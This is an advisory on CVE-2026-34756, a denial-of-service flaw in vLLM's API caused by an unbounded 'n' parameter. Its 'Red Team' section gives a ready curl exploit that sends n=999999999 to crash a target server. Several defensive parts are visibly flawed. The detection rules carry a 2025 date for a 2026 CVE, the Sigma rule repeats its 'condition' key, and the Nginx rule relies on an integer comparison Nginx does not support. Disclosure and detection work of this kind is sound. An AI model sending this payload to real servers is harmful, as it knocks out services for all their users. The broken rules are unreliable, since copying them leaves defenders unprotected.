CVE-2026-34756

Executive Summary

CVE-2026-34756 is a high-severity Denial of Service (DoS) vulnerability in the vLLM inference and serving engine for large language models (LLMs). The flaw resides in the OpenAI-compatible API server, specifically within the ChatCompletionRequest and CompletionRequest Pydantic models. An unauthenticated attacker can exploit the lack of an upper bound on the n parameter to trigger immediate Out-Of-Memory (OOM) crashes and block the Python asyncio event loop. This is achieved by sending a single HTTP request with an astronomically large n value, causing the server to allocate millions of request object copies in the heap before the request reaches the scheduling queue. The vulnerability affects versions from 0.1.0 to before 0.19.0 and has been patched in version 0.19.0.

Supply Chain & Package Security

This vulnerability affects the vLLM Python package, which is distributed via PyPI. Organizations using vLLM in their AI/ML infrastructure should immediately verify their installed version and update to the patched release. The attack does not require authentication, making it particularly dangerous for publicly exposed API endpoints. Supply chain risk is moderate, as the fix is available and the attack vector is well-defined.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The threat level is High due to the ease of exploitation and the severe impact on availability. An unauthenticated attacker can crash the service with a single request, causing complete denial of service for all users.

Deep Dive & Mechanics

The vulnerability is rooted in the Pydantic model definitions for ChatCompletionRequest and CompletionRequest. The n parameter, which specifies the number of chat completion choices to generate, is not validated with an upper bound. When a request with an extremely large n value (e.g., 10^9) is processed, the server attempts to allocate memory for that many response objects. This allocation occurs in the asyncio event loop, blocking it entirely and consuming all available memory, leading to an OOM crash.

The attack flow:

1. Attacker sends a POST request to /v1/chat/completions or /v1/completions with a JSON body containing "n": 999999999.
2. The Pydantic model deserializes the request without checking the n value.
3. The server begins processing the request, allocating memory for n response objects.
4. The asyncio event loop is blocked by the massive memory allocation.
5. The process runs out of memory and crashes, causing a denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (v0.1.0 to v0.18.9):

class CompletionRequest(BaseModel):
    model: str
    prompt: str
    n: int = 1  # No upper bound validation
    # ... other fields

Patched Code (v0.19.0):

from pydantic import Field

class CompletionRequest(BaseModel):
    model: str
    prompt: str
    n: int = Field(default=1, ge=1, le=10)  # Upper bound set to 10
    # ... other fields

The fix adds a Field validator with ge=1 (greater than or equal to 1) and le=10 (less than or equal to 10), limiting the n parameter to a reasonable range.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running vLLM version < 0.19.0 with OpenAI-compatible API exposed.
• No authentication required.

Exploit Steps:

1. Identify the target API endpoint (e.g., http://target:8000/v1/chat/completions).
2. Send a crafted request with an astronomically large n value.

Exploit Payload:

curl -X POST http://target:8000/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "gpt-3.5-turbo",
    "messages": [{"role": "user", "content": "Hello"}],
    "n": 999999999
  }'

Expected Outcome: The target server will become unresponsive and eventually crash due to OOM.

Blue Team

Detection:

• Monitor for HTTP requests with abnormally large n parameter values in the request body.
• Set up alerts for rapid memory consumption spikes in the vLLM process.
• Use WAF rules to block requests where n exceeds a threshold (e.g., 100).

Mitigation:

• Immediately upgrade to vLLM version 0.19.0 or later.
• If upgrade is not possible, deploy a reverse proxy (e.g., Nginx) to validate and reject requests with n > 10 before they reach the vLLM server.

Nginx WAF Rule Example:

location /v1/chat/completions {
    if ($request_body ~* "\"n\":\s*(\d+)") {
        set $n_value $1;
        if ($n_value > 10) {
            return 403;
        }
    }
    proxy_pass http://vllm_backend;
}

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /v1/chat/completions or /v1/completions with n parameter value > 1000.
  • Repeated connection attempts from a single IP to the API endpoint.
• System IOCs:
  • vLLM process crash logs showing MemoryError or OutOfMemoryError.
  • System logs indicating OOM killer activity targeting the vLLM process.
  • High memory usage (near 100%) on the server running vLLM.
• File IOCs:
  • Core dump files generated by the vLLM process.

Detection Engineering

YARA Rule

rule CVE_2026_34756_vLLM_DoS {
    meta:
        description = "Detects HTTP requests exploiting CVE-2026-34756 with large n parameter"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2026-34756"
    strings:
        $json_body = /"n"\s*:\s*\d{6,}/
    condition:
        $json_body
}

Sigma Rule

title: CVE-2026-34756 vLLM DoS Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with abnormally large n parameter targeting vLLM API
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/v1/chat/completions'
            - '/v1/completions'
        cs-body|contains: '"n":'
    condition: selection
    filter:
        cs-body|re: '\"n\":\s*\d{1,3}'  # Normal values (1-999)
    condition: selection and not filter
falsepositives:
    - Legitimate requests with n > 1000 (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-34756 vLLM DoS Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/v1/chat/completions"; http_uri;
    content:"\"n\":"; http_client_body;
    pcre:"/\"n\"\s*:\s*\d{6,}/R";
    classtype:attempted-dos;
    sid:10000001;
    rev:1;
    reference:cve,2026-34756;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade vLLM: Update to version 0.19.0 or later. This is the only complete fix.

   pip install --upgrade vllm
   

2. Restrict API Access: If upgrade is delayed, restrict access to the API server using firewall rules or authentication (e.g., API keys).
3. Deploy WAF: Use a Web Application Firewall to block requests with n > 10.

Long-term Measures:

• Implement input validation for all API parameters, especially those that affect resource allocation.
• Add rate limiting to prevent rapid exploitation attempts.
• Monitor memory usage and set up alerts for anomalies.
• Conduct regular security audits of AI/ML infrastructure components.

Patch Details:

• Fixed Version: vLLM 0.19.0
• Patch Commit: (Not publicly available, but upgrade is the recommended action)
• Workaround: Validate n parameter at the reverse proxy level.

Valters IT

{/* [Security Hash: 37CC4ED0FC500578BEEF31E0] */}